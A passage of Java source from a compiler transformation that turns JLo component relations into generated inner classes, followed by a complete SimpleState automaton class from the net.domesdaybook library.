SimpleReference<Type>(innerName, Type.class); tref.setUniParent(container); Type result; try { result= tref.getElement(); } catch(LookupException exc) { // We add the imports to the original. They are copied later on to 'container'. result = emptyInnerClassFor(relationBeingTranslated, container); NamespacePart namespacePart = container.farthestAncestor(NamespacePart.class); incorporateImports(relationBeingTranslated, namespacePart); // Since we are adding inner classes that were not written in the current namespacepart, their type // may not have been imported yet. Therefore, we add an import of the referenced component type. namespacePart.addImport(new TypeImport(container.language(Java.class).createTypeReference(relationBeingTranslated.referencedComponentType().getFullyQualifiedName()))); container.add(result); container.flushCache(); } return createOrGetInnerTypeAux(result, original, elements, baseOneIndex + 1); } private List<Element> filterAncestors(Element<?> element) { SafePredicate<Element> predicate = componentRelationOrNonComponentTypePredicate(); return element.ancestors(Element.class, predicate); } private SafePredicate<Element> componentRelationOrNonComponentTypePredicate() { return new SafePredicate<Element>(){ @Override public boolean eval(Element object) { return (object instanceof ComponentRelation) || (object instanceof Type && !(object instanceof ComponentType)); }}; } private SafePredicate<Type> nonComponentTypePredicate() { return new SafePredicate<Type>(){ @Override public boolean eval(Type object) { return !(object instanceof ComponentType); }}; } private Type createOrGetInnerTypeAux(Type container, Type original, List<Element> elements, int baseOneIndex) throws LookupException { int index = elements.size()-baseOneIndex; if(index >= 0) { Element element = elements.get(index); if(element instanceof ComponentRelation) { return createOrGetInnerTypeForComponent(container,original, (ComponentRelation) element, elements,baseOneIndex); } else { return createOrGetInnerTypeForType(container,original, (Type) element, elements,baseOneIndex); } } else { return container; } } private void transformToImplRecursive(Type type) throws ModelException { transformToImpl(type); for(Type nested: type.directlyDeclaredMembers(Type.class)) { transformToImplRecursive(nested); } } private void transformToImpl(Type type) throws ModelException { JLo lang = type.language(JLo.class); if(! type.isTrue(lang.PRIVATE)) { // Change the name of the outer type. // What a crappy code. I would probably be easier to not add IMPL // to the generated subobject class in the first place, but add // it afterwards. String oldName = type.getName(); String name = oldName; if(! name.endsWith(IMPL)) { name = name +IMPL; type.signature().setName(name); } for(SubtypeRelation relation: type.nonMemberInheritanceRelations(SubtypeRelation.class)) { BasicJavaTypeReference tref = (BasicJavaTypeReference) relation.superClassReference(); try { if((! relation.isTrue(lang.IMPLEMENTS_RELATION)) && isJLo(tref.getElement())) { tref.setSignature(new SimpleNameSignature(tref.signature().name()+IMPL)); } } catch(LookupException exc) { tref.getElement(); throw exc; } } implementOwnInterface(type); for(TypeElement decl: type.directlyDeclaredElements()) { if((decl instanceof Method) && (decl.is(lang.CONSTRUCTOR) == Ternary.TRUE)) { ((Method)decl).setName(name); } if(decl instanceof ElementWithModifiers) { makePublic(decl); } } } } private void implementOwnInterface(Type type) { JLo language = type.language(JLo.class); if(!type.isTrue(language.PRIVATE)) { String oldFQN = type.getFullyQualifiedName(); BasicJavaTypeReference createTypeReference = language.createTypeReference(oldFQN); transformToInterfaceReference(createTypeReference); copyTypeParametersIfNecessary(type, createTypeReference); SubtypeRelation relation = new SubtypeRelation(createTypeReference); relation.addModifier(new Implements()); type.addInheritanceRelation(relation); } } private void copyTypeParametersIfNecessary(Type type, BasicJavaTypeReference createTypeReference) { Java language = type.language(Java.class); if(! (type.is(language.CLASS) == Ternary.TRUE)) { copyTypeParametersFromFarthestAncestor(type, createTypeReference); } } private void copyTypeParametersFromFarthestAncestor(Element<?> type, BasicJavaTypeReference createTypeReference) { Type farthestAncestor = type.farthestAncestorOrSelf(Type.class); Java language = type.language(Java.class); List<TypeParameter> tpars = farthestAncestor.parameters(TypeParameter.class); for(TypeParameter parameter:tpars) { createTypeReference.addArgument(language.createBasicTypeArgument(language.createTypeReference(parameter.signature().name()))); } } private void processSuperComponentParameters(AbstractInheritanceRelation<?> relation) throws LookupException { TypeReference tref = relation.superClassReference(); Type type = relation.nearestAncestor(Type.class); if(tref instanceof ComponentParameterTypeReference) { ComponentParameterTypeReference ctref = (ComponentParameterTypeReference) tref; Type ctype = tref.getType(); type.addAll(selectorsForComponent(ctype)); relation.setSuperClassReference(ctref.componentTypeReference()); } } private void removeNonLocalReferences(Type type) throws LookupException { for(NonLocalJavaTypeReference tref: type.descendants(NonLocalJavaTypeReference.class)) { SingleAssociation<NonLocalJavaTypeReference, Element> parentLink = tref.parentLink(); parentLink.getOtherRelation().replace(parentLink, tref.actualReference().parentLink()); } } private void expandReferences(Element<?> type) throws LookupException { Java language = type.language(Java.class); for(BasicJavaTypeReference tref: type.descendants(BasicJavaTypeReference.class)) { if(tref.getTarget() == null) { try { // Filthy hack, should add meta information to such references, and use that instead. if(! tref.signature().name().contains(SHADOW)) { Type element = tref.getElement(); if(! element.isTrue(language.PRIVATE)) { String fullyQualifiedName = element.getFullyQualifiedName(); String predecessor = Util.getAllButLastPart(fullyQualifiedName); if(predecessor != null) { NamedTarget nt = new NamedTarget(predecessor); tref.setTarget(nt); } } } } catch(LookupException exc) { // This occurs because a generated element cannot be resolved in the original model. E.g. // an inner class of another class than the one that has been generated. } } } } private List<Method> selectorsFor(ComponentRelation rel) throws LookupException { Type t = rel.referencedComponentType(); return selectorsForComponent(t); } private List<Method> selectorsForComponent(Type t) throws LookupException { List<Method> result = new ArrayList<Method>(); for(ComponentParameter par: t.parameters(ComponentParameter.class)) { Method realSelector= realSelectorFor((InstantiatedComponentParameter) par); realSelector.setUniParent(t); substituteTypeParameters(realSelector); realSelector.setUniParent(null); result.add(realSelector); } return result; } private Method realSelectorFor(InstantiatedComponentParameter<?> par) throws LookupException { SimpleNameDeclarationWithParametersHeader header = new SimpleNameDeclarationWithParametersHeader(selectorName(par)); FormalComponentParameter formal = par.formalParameter(); Java language = par.language(Java.class); // Method result = new NormalMethod(header,formal.componentTypeReference().clone()); Type declarationType = formal.declarationType(); JavaTypeReference reference = language.reference(declarationType); reference.setUniParent(null); Method result = par.language(Java.class).createNormalMethod(header,reference); result.addModifier(new Public()); // result.addModifier(new Abstract()); header.addFormalParameter(new FormalParameter("argument", formal.containerTypeReference().clone())); Block body = new Block(); result.setImplementation(new RegularImplementation(body)); ActualComponentArgument arg = par.argument(); Expression expr; if(arg instanceof ComponentNameActualArgument) { ComponentNameActualArgument singarg = (ComponentNameActualArgument) arg; expr = new JavaMethodInvocation(getterName(singarg.declaration()),new NamedTargetExpression("argument", null)); body.addStatement(new ReturnStatement(expr)); } else if(arg instanceof ParameterReferenceActualArgument) { ParameterReferenceActualArgument ref = (ParameterReferenceActualArgument) arg; ComponentParameter p = ref.declaration(); expr = new JavaMethodInvocation(selectorName(p), null); ((JavaMethodInvocation)expr).addArgument(new NamedTargetExpression("argument",null)); body.addStatement(new ReturnStatement(expr)); } else { // result variable declaration VariableDeclaration declaration = new VariableDeclaration("result"); BasicJavaTypeReference arrayList = language.createTypeReference("java.util.ArrayList"); JavaTypeReference componentType = language.reference(formal.componentTypeReference().getElement()); componentType.setUniParent(null); BasicTypeArgument targ = language.createBasicTypeArgument(componentType); arrayList.addArgument(targ); // LocalVariableDeclarator varDecl = new LocalVariableDeclarator(reference.clone()); LocalVariableDeclarator varDecl = new LocalVariableDeclarator(arrayList.clone()); Expression init = new ConstructorInvocation(arrayList, null); declaration.setInitialization(init); varDecl.add(declaration); body.addStatement(varDecl); // add all components ComponentRelationSet componentRelations = ((MultiActualComponentArgument)arg).declaration(); for(DeclarationWithType rel: componentRelations.relations()) { Expression t = new NamedTargetExpression("result", null); SimpleNameMethodInvocation inv = new JavaMethodInvocation("add", t); Expression componentSelector; if(rel instanceof ComponentParameter) { if(rel instanceof MultiFormalComponentParameter) { inv.setName("addAll"); } componentSelector = new JavaMethodInvocation(selectorName((ComponentParameter)rel), null); ((JavaMethodInvocation)componentSelector).addArgument(new NamedTargetExpression("argument",null)); } else { componentSelector = new NamedTargetExpression(rel.signature().name(), new NamedTargetExpression("argument",null)); } inv.addArgument(componentSelector); body.addStatement(new StatementExpression(inv)); } // return statement expr = new NamedTargetExpression("result",null); body.addStatement(new ReturnStatement(expr)); } return result; } private List<Method> selectorsFor(Type type) throws LookupException { ParameterBlock<?,ComponentParameter> block = type.parameterBlock(ComponentParameter.class); List<Method> result = new ArrayList<Method>(); if(block != null) { for(ComponentParameter par: block.parameters()) { result.add(selectorFor((FormalComponentParameter<?>) par)); } } return result; } private String selectorName(ComponentParameter<?> par) { return "__select$"+ toUnderScore(par.nearestAncestor(Type.class).getFullyQualifiedName())+"$"+par.signature().name(); } private String toUnderScore(String string) { return string.replace('.', '_'); } private Method selectorFor(FormalComponentParameter<?> par) throws LookupException { SimpleNameDeclarationWithParametersHeader header = new SimpleNameDeclarationWithParametersHeader(selectorName(par)); Java language = par.language(Java.class); // Method result = new NormalMethod(header,par.componentTypeReference().clone()); JavaTypeReference reference = language.reference(par.declarationType()); reference.setUniParent(null); Method result = par.language(Java.class).createNormalMethod(header,reference); result.addModifier(new Public()); // result.addModifier(new Abstract()); header.addFormalParameter(new FormalParameter("argument", par.containerTypeReference().clone())); Block body = new Block(); result.setImplementation(new RegularImplementation(body)); ConstructorInvocation cons = new ConstructorInvocation((BasicJavaTypeReference) par.language(Java.class).createTypeReference("java.lang.Error"), null); body.addStatement(new ThrowStatement(cons)); return result; } private void replaceConstructorCalls(final ComponentRelation relation) throws LookupException { Type type = relation.nearestAncestor(Type.class); List<SubobjectConstructorCall> constructorCalls = type.descendants(SubobjectConstructorCall.class, new UnsafePredicate<SubobjectConstructorCall,LookupException>() { @Override public boolean eval(SubobjectConstructorCall constructorCall) throws LookupException { return constructorCall.getTarget().getElement().equals(relation); } } ); for(SubobjectConstructorCall call: constructorCalls) { MethodInvocation inv = new ConstructorInvocation((BasicJavaTypeReference) innerClassTypeReference(relation, type), null); // move actual arguments from subobject constructor call to new constructor call. inv.addAllArguments(call.getActualParameters()); MethodInvocation setterCall = new JavaMethodInvocation(setterName(relation), null); setterCall.addArgument(inv); SingleAssociation<SubobjectConstructorCall, Element> parentLink = call.parentLink(); parentLink.getOtherRelation().replace(parentLink, setterCall.parentLink()); } } private void inner(Type type, ComponentRelation relation, Type outer, Type outerTypeBeingTranslated) throws LookupException { Type innerClass = createInnerClassFor(relation,type,outerTypeBeingTranslated); type.add(innerClass); Type componentType = relation.componentType(); for(ComponentRelation nestedRelation: componentType.directlyDeclaredElements(ComponentRelation.class)) { // subst parameters ComponentRelation clonedNestedRelation = nestedRelation.clone(); clonedNestedRelation.setUniParent(nestedRelation.parent()); substituteTypeParameters(clonedNestedRelation); inner(innerClass, clonedNestedRelation, outer,outerTypeBeingTranslated); } } private void addOutwardDelegations(ComponentRelation relation, Type outer) throws LookupException { ConfigurationBlock block = relation.configurationBlock(); if(block != null) { TypeWithBody componentTypeDeclaration = relation.componentTypeDeclaration(); List<Method> elements = methodsOfComponentBody(componentTypeDeclaration); for(ConfigurationClause clause: block.clauses()) { if(clause instanceof AbstractClause) { AbstractClause ov = (AbstractClause)clause; final QualifiedName poppedName = ov.oldFqn().popped(); // Type targetInnerClass = searchInnerClass(outer, relation, poppedName); Declaration decl = ov.oldDeclaration(); if(decl instanceof Method) { final Method<?,?,?,?> method = (Method<?, ?, ?, ?>) decl; if(ov instanceof RenamingClause) { outer.add(createAlias(relation, method, ((SimpleNameDeclarationWithParametersSignature)ov.newSignature()).name())); } } } } } } private List<Method> methodsOfComponentBody(TypeWithBody componentTypeDeclaration) { List<Method> elements; if(componentTypeDeclaration != null) { elements = componentTypeDeclaration.body().children(Method.class); } else { elements = new ArrayList<Method>(); } return elements; } // private boolean containsMethodWithSameSignature(List<Method> elements, final Method<?, ?, ?, ?> method) throws LookupException { // boolean overriddenInSubobject = new UnsafePredicate<Method, LookupException>() { // public boolean eval(Method subobjectMethod) throws LookupException { // return subobjectMethod.signature().sameAs(method.signature()); // }.exists(elements); // return overriddenInSubobject; private Method createAlias(ComponentRelation relation, Method<?,?,?,?> method, String newName) throws LookupException { NormalMethod<?,?,?> result; result = innerMethod(method, newName); Block body = new Block(); result.setImplementation(new RegularImplementation(body)); MethodInvocation invocation = invocation(result, method.name()); // We now bind to the regular method name in case the method has not been overridden // and there is no 'original' method. // If it is overridden, then this adds 1 extra delegation, so we should optimize it later on. // Invocation invocation = invocation(result, original(method.name())); Expression target = new JavaMethodInvocation(getterName(relation), null); invocation.setTarget(target); substituteTypeParameters(method, result); addImplementation(method, body, invocation); return result; } /** * * @param relationBeingTranslated A component relation from either the original class, or one of its nested components. * @param outer The outer class being generated. */ private Type createInnerClassFor(ComponentRelation relationBeingTranslated, Type outer, Type outerTypeBeingTranslated) throws ChameleonProgrammerException, LookupException { Type result = emptyInnerClassFor(relationBeingTranslated, outer); processComponentRelationBody(relationBeingTranslated, outer, outerTypeBeingTranslated, result); return result; } private Type emptyInnerClassFor(ComponentRelation relationBeingTranslated, Type outer) throws LookupException { incorporateImports(relationBeingTranslated); String className = innerClassName(relationBeingTranslated, outer); Type result = new RegularJLoType(className); for(Modifier mod: relationBeingTranslated.modifiers()) { result.addModifier(mod.clone()); } TypeReference superReference = superClassReference(relationBeingTranslated); superReference.setUniParent(relationBeingTranslated); substituteTypeParameters(superReference); superReference.setUniParent(null); result.addInheritanceRelation(new SubtypeRelation(superReference)); List<Method> selectors = selectorsFor(relationBeingTranslated); for(Method selector:selectors) { result.add(selector); } processInnerClassMethod(relationBeingTranslated, relationBeingTranslated.referencedComponentType(), result); return result; } /** * Incorporate the imports of the namespace part of the declared type of the component relation to * the namespace part of the component relation. * @param relationBeingTranslated * @throws LookupException */ private void incorporateImports(ComponentRelation relationBeingTranslated) throws LookupException { incorporateImports(relationBeingTranslated, relationBeingTranslated.farthestAncestor(NamespacePart.class)); } /** * Incorporate the imports of the namespace part of the declared type of the component relation to * the given namespace part. * @param relationBeingTranslated * @throws LookupException */ private void incorporateImports(ComponentRelation relationBeingTranslated, NamespacePart target) throws LookupException { Type baseT = relationBeingTranslated.referencedComponentType().baseType(); NamespacePart originalNsp = baseT.farthestAncestor(NamespacePart.class); for(Import imp: originalNsp.imports()) { target.addImport(imp.clone()); } } private void processComponentRelationBody(ComponentRelation relation, Type outer, Type outerTypeBeingTranslated, Type result) throws LookupException { ComponentType ctype = relation.componentTypeDeclaration(); if(ctype != null) { if(ctype.ancestors().contains(outerTypeBeingTranslated)) { ComponentType clonedType = ctype.clone(); clonedType.setUniParent(relation); replaceOuterAndRootTargets(relation,clonedType); for(TypeElement typeElement:clonedType.body().elements()) { if(! (typeElement instanceof ComponentRelation)) { result.add(typeElement); } } } } } private void processInnerClassMethod(ComponentRelation relation, Type componentType, Type result) throws LookupException { List<Method> localMethods = componentType.directlyDeclaredMembers(Method.class); for(Method<?,?,?,?> method: localMethods) { if(method.is(method.language(ObjectOrientedLanguage.class).CONSTRUCTOR) == Ternary.TRUE) { NormalMethod<?,?,?> clone = (NormalMethod) method.clone(); clone.setUniParent(method.parent()); for(BasicTypeReference<?> tref: clone.descendants(BasicTypeReference.class)) { if(tref.getTarget() == null) { Type element = tref.getElement(); Type base = element.baseType(); if((! (element instanceof ActualType)) && base instanceof RegularType) { String fqn = base.getFullyQualifiedName(); String qn = Util.getAllButLastPart(fqn); if(qn != null && (! qn.isEmpty())) { tref.setTarget(new SimpleReference<TargetDeclaration>(qn, TargetDeclaration.class)); } } } } clone.setUniParent(null); String name = result.signature().name(); RegularImplementation impl = (RegularImplementation) clone.implementation(); Block block = new Block(); impl.setBody(block); // substitute parameters before replace the return type, method name, and the body. // the types are not known in the component type, and the super class of the component type // may not have a constructor with the same signature as the current constructor. substituteTypeParameters(method, clone); MethodInvocation inv = new SuperConstructorDelegation(); useParametersInInvocation(clone, inv); block.addStatement(new StatementExpression(inv)); clone.setReturnTypeReference(relation.language(Java.class).createTypeReference(name)); ((SimpleNameDeclarationWithParametersHeader)clone.header()).setName(name); result.add(clone); } } } private TypeReference superClassReference(ComponentRelation relation) throws LookupException { TypeReference superReference = relation.componentTypeReference().clone(); if(superReference instanceof ComponentParameterTypeReference) { superReference = ((ComponentParameterTypeReference) superReference).componentTypeReference(); } return superReference; } private void replaceOuterAndRootTargets(ComponentRelation rel, TypeElement<?> clone) { List<AbstractTarget> outers = clone.descendants(AbstractTarget.class); for(AbstractTarget o: outers) { String name = o.getTargetDeclaration().getName(); SingleAssociation parentLink = o.parentLink(); ThisLiteral e = new ThisLiteral(); e.setTypeReference(new BasicJavaTypeReference(name)); parentLink.getOtherRelation().replace(parentLink, e.parentLink()); } } public final static String SHADOW = "_subobject_"; public final static String IMPL = "_implementation"; private Method createOutward(Method<?,?,?,?> method, String newName, String className) throws LookupException { NormalMethod<?,?,?> result; if(//(method.is(method.language(ObjectOrientedLanguage.class).DEFINED) == Ternary.TRUE) && (method.is(method.language(ObjectOrientedLanguage.class).OVERRIDABLE) == Ternary.TRUE)) { result = innerMethod(method, method.name()); Block body = new Block(); result.setImplementation(new RegularImplementation(body)); MethodInvocation invocation = invocation(result, newName); TypeReference ref = method.language(Java.class).createTypeReference(className); ThisLiteral target = new ThisLiteral(ref); invocation.setTarget(target); substituteTypeParameters(method, result); addImplementation(method, body, invocation); } else { result = null; } return result; } private Method createDispathToOriginal(Method<?,?,?,?> method, ComponentRelation relation) throws LookupException { NormalMethod<?,?,?> result = null; result = innerMethod(method, method.name()); Block body = new Block(); result.setImplementation(new RegularImplementation(body)); MethodInvocation invocation = invocation(result, original(method.name())); substituteTypeParameters(method, result); addImplementation(method, body, invocation); return result; } private TypeReference getRelativeClassReference(ComponentRelation relation) { return relation.language(Java.class).createTypeReference(getRelativeClassName(relation)); } private String getRelativeClassName(ComponentRelation relation) { return relation.nearestAncestor(Type.class).signature().name(); } private void substituteTypeParameters(Method<?, ?, ?, ?> methodInTypeWhoseParametersMustBeSubstituted, NormalMethod<?, ?, ?> methodWhereActualTypeParametersMustBeFilledIn) throws LookupException { methodWhereActualTypeParametersMustBeFilledIn.setUniParent(methodInTypeWhoseParametersMustBeSubstituted); substituteTypeParameters(methodWhereActualTypeParametersMustBeFilledIn); methodWhereActualTypeParametersMustBeFilledIn.setUniParent(null); } private void addImplementation(Method<?, ?, ?, ?> method, Block body, MethodInvocation invocation) throws LookupException { if(method.returnType().equals(method.language(Java.class).voidType())) { body.addStatement(new StatementExpression(invocation)); } else { body.addStatement(new ReturnStatement(invocation)); } } private NormalMethod<?, ?, ?> innerMethod(Method<?, ?, ?, ?> method, String original) throws LookupException { NormalMethod<?, ?, ?> result; TypeReference tref = method.returnTypeReference().clone(); result = method.language(Java.class).createNormalMethod(method.header().clone(), tref); ((SimpleNameDeclarationWithParametersHeader)result.header()).setName(original); ExceptionClause exceptionClause = method.getExceptionClause(); ExceptionClause clone = (exceptionClause != null ? exceptionClause.clone(): null); result.setExceptionClause(clone); result.addModifier(new Public()); return result; } /** * Replace all references to type parameters * @param element * @throws LookupException */ private void substituteTypeParameters(Element<?> element) throws LookupException { List<TypeReference> crossReferences = element.descendants(TypeReference.class, new UnsafePredicate<TypeReference,LookupException>() { public boolean eval(TypeReference object) throws LookupException { try { return object.getDeclarator() instanceof InstantiatedTypeParameter; } catch (LookupException e) { e.printStackTrace(); throw e; } } }); for(TypeReference cref: crossReferences) { SingleAssociation parentLink = cref.parentLink(); Association childLink = parentLink.getOtherRelation(); InstantiatedTypeParameter declarator = (InstantiatedTypeParameter) cref.getDeclarator(); Type type = cref.getElement(); while(type instanceof ActualType) { type = ((ActualType)type).aliasedType(); } TypeReference namedTargetExpression = element.language(ObjectOrientedLanguage.class).createTypeReference(type.getFullyQualifiedName()); childLink.replace(parentLink, namedTargetExpression.parentLink()); } } private String innerClassName(Type outer, QualifiedName qn) { StringBuffer result = new StringBuffer(); result.append(outer.signature().name()); result.append(SHADOW); List<Signature> sigs = qn.signatures(); int size = sigs.size(); for(int i = 0; i < size; i++) { result.append(((SimpleNameSignature)sigs.get(i)).name()); if(i < size - 1) { result.append(SHADOW); } } result.append(IMPL); return result.toString(); } private String innerClassName(ComponentRelation relation, Type outer) throws LookupException { return innerClassName(outer, relation.signature()); } private void replaceSuperCalls(Type type) throws LookupException { List<SuperTarget> superTargets = type.descendants(SuperTarget.class, new UnsafePredicate<SuperTarget,LookupException>() { @Override public boolean eval(SuperTarget superTarget) throws LookupException { return superTarget.getTargetDeclaration() instanceof ComponentRelation; } } ); for(SuperTarget superTarget: superTargets) { Element<?> cr = superTarget.parent(); if(cr instanceof CrossReferenceWithArguments) { Element<?> inv = cr.parent(); if(inv instanceof RegularMethodInvocation) { RegularMethodInvocation call = (RegularMethodInvocation) inv; ComponentRelation targetComponent = (ComponentRelation) superTarget.getTargetDeclaration(); MethodInvocation subObjectSelection = new JavaMethodInvocation(getterName(targetComponent), null); call.setTarget(subObjectSelection); String name = staticMethodName(call.name(), targetComponent.componentType()); call.setName(name); } } } } private String original(String name) { return "original__"+name; } private MemberVariableDeclarator fieldForComponent(ComponentRelation relation, Type outer) throws LookupException { if(relation.overriddenMembers().isEmpty()) { MemberVariableDeclarator result = new MemberVariableDeclarator(componentTypeReference(relation, outer)); result.add(new VariableDeclaration(fieldName(relation))); return result; } else { return null; } } private BasicJavaTypeReference innerClassTypeReference(ComponentRelation relation, Type outer) throws LookupException { return relation.language(Java.class).createTypeReference(innerClassName(relation, outer)); } private String getterName(ComponentRelation relation) { return getterName(relation.signature().name()); } private String getterName(String componentName) { return componentName+COMPONENT; } public final static String COMPONENT = "__component__lkjkberfuncye__"; private Method getterForComponent(ComponentRelation relation, Type outer) throws LookupException { if(relation.overriddenMembers().isEmpty()) { JavaTypeReference returnTypeReference = componentTypeReference(relation, outer); RegularMethod result = relation.language(Java.class).createNormalMethod(new SimpleNameDeclarationWithParametersHeader(getterName(relation)), returnTypeReference); result.addModifier(new Public()); Block body = new Block(); result.setImplementation(new RegularImplementation(body)); body.addStatement(new ReturnStatement(new NamedTargetExpression(fieldName(relation), null))); return result; } else { return null; } } private String setterName(ComponentRelation relation) { return "set"+COMPONENT+"__"+relation.signature().name(); } private Method setterForComponent(ComponentRelation relation, Type outer) throws LookupException { if(relation.overriddenMembers().isEmpty()) { String name = relation.signature().name(); RegularMethod result = relation.language(Java.class).createNormalMethod(new SimpleNameDeclarationWithParametersHeader(setterName(relation)), relation.language(Java.class).createTypeReference("void")); BasicJavaTypeReference tref = componentTypeReference(relation, outer); result.header().addFormalParameter(new FormalParameter(name, tref)); result.addModifier(new Public()); Block body = new Block(); result.setImplementation(new RegularImplementation(body)); NamedTargetExpression componentFieldRef = new NamedTargetExpression(fieldName(relation), null); componentFieldRef.setTarget(new ThisLiteral()); body.addStatement(new StatementExpression(new AssignmentExpression(componentFieldRef, new NamedTargetExpression(name, null)))); return result; } else { return null; } } private BasicJavaTypeReference componentTypeReference(ComponentRelation relation, Type outer) throws LookupException { BasicJavaTypeReference tref = innerClassTypeReference(relation,outer); copyTypeParametersFromFarthestAncestor(outer,tref); transformToInterfaceReference(tref); return tref; } private MethodInvocation invocation(Method<?, ?, ?, ?> method, String origin) { MethodInvocation invocation = new JavaMethodInvocation(origin, null); // pass parameters. useParametersInInvocation(method, invocation); return invocation; } private void useParametersInInvocation(Method<?, ?, ?, ?> method, MethodInvocation invocation) { for(FormalParameter param: method.formalParameters()) { invocation.addArgument(new NamedTargetExpression(param.signature().name(), null)); } } private String fieldName(ComponentRelation relation) { return relation.signature().name(); } }
package net.domesdaybook.automata.state; import net.domesdaybook.automata.TransitionStrategy; import java.util.ArrayList; import java.util.Collection; import java.util.IdentityHashMap; import java.util.List; import java.util.Map; import net.domesdaybook.automata.State; import net.domesdaybook.automata.Transition; import net.domesdaybook.object.copy.DeepCopy; /** * A simple implementation of the {@link State} interface with no added extras. * Transitions are managed internally as a simple list of Transitions. * * @see net.domesdaybook.automata.State * @see net.domesdaybook.automata.Transition * @author Matt Palmer */ public class SimpleState implements State { private List<Transition> transitions; private boolean isFinal; private TransitionStrategy transitionStrategy = NO_TRANSITION; /** * The default constructor for SimpleState, as a non-final state. */ public SimpleState() { this(State.NON_FINAL); } /** * A constructor for SimpleState taking a parameter determining whether the * state is final or not. * * @param isFinal Whether the state is final or not. */ public SimpleState(final boolean isFinal) { this.isFinal = isFinal; this.transitions = new ArrayList<Transition>(); } /** * A copy constructor for SimpleState from another state. * * @param other The other State to copy from. */ public SimpleState(final State other) { this.isFinal = other.isFinal(); this.transitions = new ArrayList<Transition>(other.getTransitions()); } /** * Adds a transition to this State. * <p> * It also changes the transition strategy based on the following simple heuristic: * <ul> * <li>If there is only one transition after adding, then the {@link FirstMatchingTransition} strategy is used. * <li>If there is more than one transition after adding, then the {@link AllMatchingTransitions} strategy is used. * </ul> * This will change any prior strategy set. If you want to set a custom strategy * for this State, do so after adding any transitions you wish to add. * * @param transition The transition to add to this State. * @see net.domesdaybook.automata.Transition * @see net.domesdaybook.automata.strategy.FirstMatchingTransition * @see net.domesdaybook.automata.strategy.AllMatchingTransitions */ @Override public final void addTransition(final Transition transition) { this.transitions.add(transition); setBasicTransitionStrategy(); } /** * Adds all the transitions in the list to this State, preserving any * previous transitions which were already attached to this state. * <p> * It also changes the transition strategy based on the following simple heuristic: * <ul> * <li>If there is only one transition after adding, then the {@link FirstMatchingTransition} strategy is used. * <li>If there is more than one transition after adding, then the {@link AllMatchingTransitions} strategy is used. * </ul> * This will change any prior strategy set. If you want to set a custom strategy * for this State, do so after adding any transitions you wish to add. * @param transitions * @see net.domesdaybook.automata.Transition * @see net.domesdaybook.automata.strategy.FirstMatchingTransition * @see net.domesdaybook.automata.strategy.AllMatchingTransitions */ @Override public final void addAllTransitions(final List<Transition> transitions) { this.transitions.addAll(transitions); setBasicTransitionStrategy(); } /** * Removes the transition from this State. * <p> * It also changes the transition strategy based on the following simple heuristic: * <ul> * <li>If there are no transitions after removing, then the {@link NoTransition} strategy is used. * <li>If there is only one transition after removing, then the {@link FirstMatchingTransition} strategy is used. * <li>If there is more than one transition after removing, then the {@link AllMatchingTransitions} strategy is used. * </ul> * This will change any prior strategy set. If you want to set a custom strategy * for this State, do so after adding or removing any other transitions. * * @param transition The transition to add to this State. * @return boolean Whether the transition was in the State. * @see net.domesdaybook.automata.Transition * @see net.domesdaybook.automata.TransitionStrategy * @see net.domesdaybook.automata.strategy.FirstMatchingTransition * @see net.domesdaybook.automata.strategy.AllMatchingTransitions * @see net.domesdaybook.automata.strategy.NoTransition */ @Override public final boolean removeTransition(final Transition transition) { final boolean result = transitions.remove(transition); setBasicTransitionStrategy(); return result; } /** * @inheritDoc */ @Override public final void appendNextStatesForByte(final Collection<State> states, byte value) { transitionStrategy.appendDistinctStatesForByte(states, value, transitions); } /** * Sets a basic transition strategy based on the following simple heuristic: * <ul> * <li>If there are no transitions, then the {@link NoTransition} strategy is used. * <li>If there is only one transition, then the {@link FirstMatchingTransition} strategy is used. * <li>If there is more than one transition, then the {@link AllMatchingTransitions} strategy is used. * </ul> * * @see net.domesdaybook.automata.TransitionStrategy * @see net.domesdaybook.automata.strategy.FirstMatchingTransition * @see net.domesdaybook.automata.strategy.AllMatchingTransitions * @see net.domesdaybook.automata.strategy.NoTransition */ private void setBasicTransitionStrategy() { if (transitions.isEmpty()) { transitionStrategy = NO_TRANSITION; } else if (transitions.size() == 1) { transitionStrategy = FIRST_MATCHING_TRANSITION; } else { transitionStrategy = ALL_MATCHING_TRANSITIONS; } } /** * @inheritDoc */ @Override public final boolean isFinal() { return isFinal; } /** * Returns the transitions currently set in this State. The list returned * is newly created. * * @return A new ArrayList of transitions. * @see net.domesdaybook.automata.Transition */ public final List<Transition> getTransitions() { return new ArrayList<Transition>(this.transitions); } /** * This is a convenience method, providing the initial map to: * <CODE>deepCopy(Map<DeepCopy, DeepCopy> oldToNewObjects)</CODE> * * @return SimpleState a deep copy of this object. * @see #deepCopy(Map<DeepCopy, DeepCopy> oldToNewObjects) */ @Override public SimpleState deepCopy() { final Map<DeepCopy, DeepCopy> oldToNewObjects = new IdentityHashMap<DeepCopy,DeepCopy>(); return deepCopy(oldToNewObjects); } /** * This method is inherited from the {@link DeepCopy} interface, * and is redeclared here with a return type of SimpleState (rather than DeepCopy), * to make using the method easier. * * @param oldToNewObjects A map of the original objects to their new deep copies. * @return SimpleState A deep copy of this SimpleState and any Transitions and States * reachable from this State. */ @Override public SimpleState deepCopy(Map<DeepCopy, DeepCopy> oldToNewObjects) { SimpleState stateCopy = (SimpleState) oldToNewObjects.get(this); if (stateCopy == null) { stateCopy = new SimpleState(this.isFinal); oldToNewObjects.put(this, stateCopy); for (Transition transition : transitions) { final Transition transitionCopy = transition.deepCopy(oldToNewObjects); stateCopy.transitions.add(transitionCopy); } stateCopy.setTransitionStrategy(transitionStrategy.deepCopy(oldToNewObjects)); } return stateCopy; } /** * @inheritDoc */ @Override public final void setIsFinal(boolean isFinal) { this.isFinal = isFinal; } /** * @inheritDoc */ @Override public final void setTransitionStrategy(TransitionStrategy strategy) { this.transitionStrategy = strategy; } /** * @inheritDoc */ @Override public final TransitionStrategy getTransitionStrategy() { return transitionStrategy; } }
